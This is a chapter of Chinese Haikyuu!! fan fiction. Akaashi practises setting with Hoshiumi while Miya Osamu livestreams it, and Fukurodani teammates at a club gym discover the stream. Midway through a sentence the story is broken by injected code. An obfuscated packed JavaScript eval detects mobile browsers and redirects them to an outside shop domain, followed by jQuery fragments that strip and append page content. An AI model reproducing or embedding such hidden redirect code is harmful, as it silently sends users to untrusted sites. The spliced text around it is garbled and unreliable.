赤苇把战术板收好,跟在星海和宫治的身后离开了录像室。
赤苇正要把门关上,才刚冲完澡的古森便一个箭步冲上前来按住门,说:“哎赤苇不用关,我们来和你们换了!”,古森兴奋地挤进录像室后,随手把运动外套扔在椅子上,抓着自己澄黄色的运动服的衣领边扇边找遥控器,“哇,里面也太闷了吧?谁把冷气调这么高啊!”
宫治扭过头扬声道:“佐久早啊,他没带外套可能觉得有点冷?”
古森一听,立刻缩回在一秒钟内猛把温度下调十度的爪子,改口,“哈哈,闷什么闷,我和臣臣都觉得二十八度是人体最适宜的温度!”
宫治把头转回来后,看见角名停在自己的面前,用手机镜头对着他,“别忘了,记得开直播啊。”
宫治:“放心吧,跟吃饭一样重要的事情,我怎么可能会忘?”
尾白弱弱地举起爪子,“我就是有一点好奇,为什么阿治你刚传过来的表情包,全是星海的脸……”
夜久凑了过来,“什么星海的脸,让我也看看!”
星海:“宫治!我要宰了你!夜久前辈,快别看了!那个不是我!”
夜久盯着尾白的手机界面,摸着下巴,沉思道:“真别说,宫治拍得还挺有特色的,我得学起来去拍列夫。”
白布朝赤苇走了过来,两人靠着走廊的墙壁高效且全无废话地交谈了好几分钟。
赤苇把自己统整的所有想法都告诉了对方。白布吸收讯息的速度非比常人,他点了点头,表示自己全部理解之后,开口:“剩下的事情我会好好处理。”
赤苇突然觉得有这么可靠的队友是多么的难得。
殊不知,白布心里也是这么想的。
接着,白布在外套口袋里抓了好几下,拿出手机,打开加Line好友的扫码界面,递到赤苇的眼前,白色的胖老鹰的手机吊饰还在摇晃,“赤苇,我们交换个联络方式?等国体结束之后,你在学业上如果遇到问题,我们可以一起解决。”
已经拿出手机的赤苇,白色的胖猫头鹰的吊饰也在摇晃,“白布同学也是,如果不知道想吃什么,或是有想新尝试的食谱,我们可以一起讨论。”
两人又惺惺相惜地并肩站了好几秒钟。
赤苇:“学习很重要呢。”
白布:“吃饭也不是什么不重要的事情。”
下一刻,两人又同时往反方向分开。
赤苇:“那么,我去训练了。”
白布:“我去把剩下的录像研究完全。”
……
赤苇回到排球场时,佐久早正在重新绑排球网。
赤苇脱下外套,放到一边,“球网松了吗?我去把球车推过来。”
佐久早瞥了一眼赤苇,回答:“蝴蝶结很丑,古森绑的。球网会很容易松。球车,麻烦了。”
赤苇先推一个球车过去给佐久早,自己这边也留了一个。星海和宫治这时也到齐了。
宫治蹲到角名正在充电前的笔记本前,“那么──各就各位──”
“action!”
宫治的“action”刚落下,隔壁球场正在练习的佐久早的发球,便暴力地打在球网的白带上,然后弹开,落在自己的球场内。
佐久早周围的气压肉眼可见地更加深沉。尽管如此,在场的三人仍旧不着急地心想:不过是第一球而已,根本看不出什么。
赤苇抬起眼,脱下外套的星海直直朝他走了过来,语气里充满自信,“赤苇,那我们开始吧!”
宫治也走到网子对面,“我来拦网。”
赤苇:“我不直接托球,星海同学,你先从后排打球给我,直接做助跑进攻,我会再拖球给你打快攻,我们从四号位的第二时间快攻开始。”
“没问题。”星海从球车里拿出一颗球,以极其标准的低手动作,打给了站在网前的赤苇后,直接上前助跑。
这是星海和赤苇首次配合。
第二时间进攻相较于第一时间进攻较为简单,是排球初学者刚学习打快攻时的首选。
第二时间进攻的起跳,不同于第一时间进攻。而是当二传碰到球,要把球传出去时,才踩出第一步准备起跳。这一步也是最重要的一步。因为,这是让星海可以判断赤苇的球,是否会传得太开或是太短,让自己的身体还能够在起飞后,临时调整扣球动作的一步。
二传可以透过攻手的脚步和肩膀,知道攻手要打哪个方向的扣球;同样,攻手也会透过自己踩出的第一步,判断二传托球的质量。
二传和攻手是相生却不相克、是荣辱相生,休戚与共;是一荣具荣,一损具损,互相成就彼此的存在。
赤苇站在二传的位置,眼前星海的身影几乎覆盖住了自己的视野,时间彷佛静止在这一瞬间──
赤苇能清楚地看见星海的双腿在空中屈膝、背部肌肉用力绷紧,整个身体如同一把拉满的弓──而在这电光石火间,赤苇的眼前突然闪现出日向蓄势待发的起跳姿势,接着,木兔前辈强劲的扣球动作又与星海的身影完美重叠在一起。
“……”
啊啊,糟糕。
必须专心。
“砰”的一声,星海的直线扣球打在宫治的手上后,拦网出界了。
赤苇垂眼心想,星海的跳跃爆发力果然不容小觑。
落地后的星海也心想,他是曾经说过自己的摸高,但是赤苇的托球未免也太精准了吧!?
“我好像能理解,佐久早第一次和赤苇打配合时的感受了!真的、真的很精准!”星海挥着自己的爪子,大声说。
然而,赤苇并没有附和星海。
星海困惑地歪过脑袋,看向面无表情、站着发呆的赤苇好几秒钟,敏锐地嗅出了一丝诡异的猫腻,“赤苇,你心情不好吗?”
赤苇只手握住自己的另一手腕,“没有,我们继续。”
星海挑了挑眉毛,心想,赤苇的托球技术还在线,身体看上去也很健康,应该没有什么问题才对。虽然星海是很想要更加深入地关心赤苇,但是他最后在宫治的眼神示意下,还是只说了一句,“好。”
站在网子对面的宫治也道:“赤苇,你要是觉得星海打得烂,可以直说没关系。”
“不会。”赤苇说,“我们继续。”
……
大坂府箕面市,施维登阿德勒斯男子排球具乐部基地,灯火通明。
二楼室内排球训练场,刚被昼神亲哥福郎带的阿德勒正规军爆打的国体队成员,正大汗淋漓的或坐或站在地上。
宫侑单手拎着一颗排球,边喘着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020062|145103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
气边咬牙切齿地道:“昼神,你哥一个V1队队长,跟高中生打个训练赛,全上首发成员良心不会痛吗!?成年人的技巧和力气,跟高中生是有悬殊的!”
被点名的昼神本人正靠着墙,得体地用毛巾擦着汗,只听他笑着说:“因为哥他尊重对手,也就是我们啊。”
牛岛、桐生和白马则安静地做着伸展,和躺在地上不停哀号的西谷形成强烈的对比。
“木兔。”小见脖子上挂着毛巾、手臂通红地把冰水递给头上顶着一条毛巾、坐在地上的木兔,“水给你拿来了,快喝呗。”
“等等。”
木兔的汗水顺着他的额头淌落,浸湿了他的鬓角和地板。他的呼吸有些急促,抬起用手背擦汗的手臂上,全是因为无数次扣球而突起的青筋,而头顶上的靛蓝色毛巾似乎并没有发挥作用,汗水很快又重新覆盖在他的身上。
木兔滑着手机界面的指尖也因为大量运动、肾上腺素飙升的缘故,难以控制地微微颤抖。
与此同时,及川吐出一口气,他的声音从球场另一边传了过来,“木兔君,我们抓紧时间把直斜线快攻练一练吧?”
木兔却再次张口重复了一遍,“等等。”
站着喝水的小见终于发现木兔太过安静,哪儿看都哪儿不对劲,他忍不住眯起眼睛,掐着角度去瞧木兔到底如此认真地在看什么玩意儿。然而,这偷偷一瞧,直接让小见把肺管子里的水全喷了出来!
小见在顶着众人看过来的关心目光下,摆了摆手后,边蹲下身用力咳嗽,边从口袋里翻出手机。此时此刻,小见咳红的脸上全是震惊和惊恐──妈呀,木兔竟然在看什么见鬼的攻手二传恋爱直播!?
那是何方妖孽!?
重点是,小见没看错的话,那好像还是木叶和木兔的聊天室。所以,是木叶传给木兔的──先不论木叶脑壳坏没坏,他肯定也传了一份连接给他自己对吧!
兄弟,全是枭谷的兄弟啊!
小见点进木叶和自己的聊天室,果不其然,看到一个连结正在朝他欢快地招手。小见想也没想直接点了下去,网页的圈圈转呀转,终于转到顶着令人遐想连篇的诡异直播间。
小见嗽还没咳完,就见画面中颀长的身影逐渐变得清晰──那个熟悉的腰和腿,不正是自己的好后辈赤苇吗!?
赤苇正在认真地和穿着写有“鸥台高校”的主攻手──小见依稀记得是叫做星海光来的家伙练扣球,而网子的对面则是稻荷崎高校,宫双胞胎的另一只,宫治。
另一个球场上,枭谷的老对手,井闼山的佐久早正在专注地练发球。
小见连耳根子也咳红了,他的眼珠子在直播间的名称上停留了整整十秒钟。此刻,人类丰富的历史上再次绽放了一朵好大的奇葩,小见春树从“攻手和二传恋爱直播”这个处处透着酸臭味的名称中,曲解出了根本不存在的深刻哲理。
题干:攻手和二传恋爱直播,题干给图:直播间里,肉眼可见地只有四个人,而且还是两个主攻一个副攻,一个二传。
小见答:赤苇以一人之力周旋在三位攻手间,真正的1v3夹心饼干。
小见作答到这里,终于没忍住边咳嗽边骂出了脏话。
──tmd,万人迷np文学。
这简直是太恶俗了!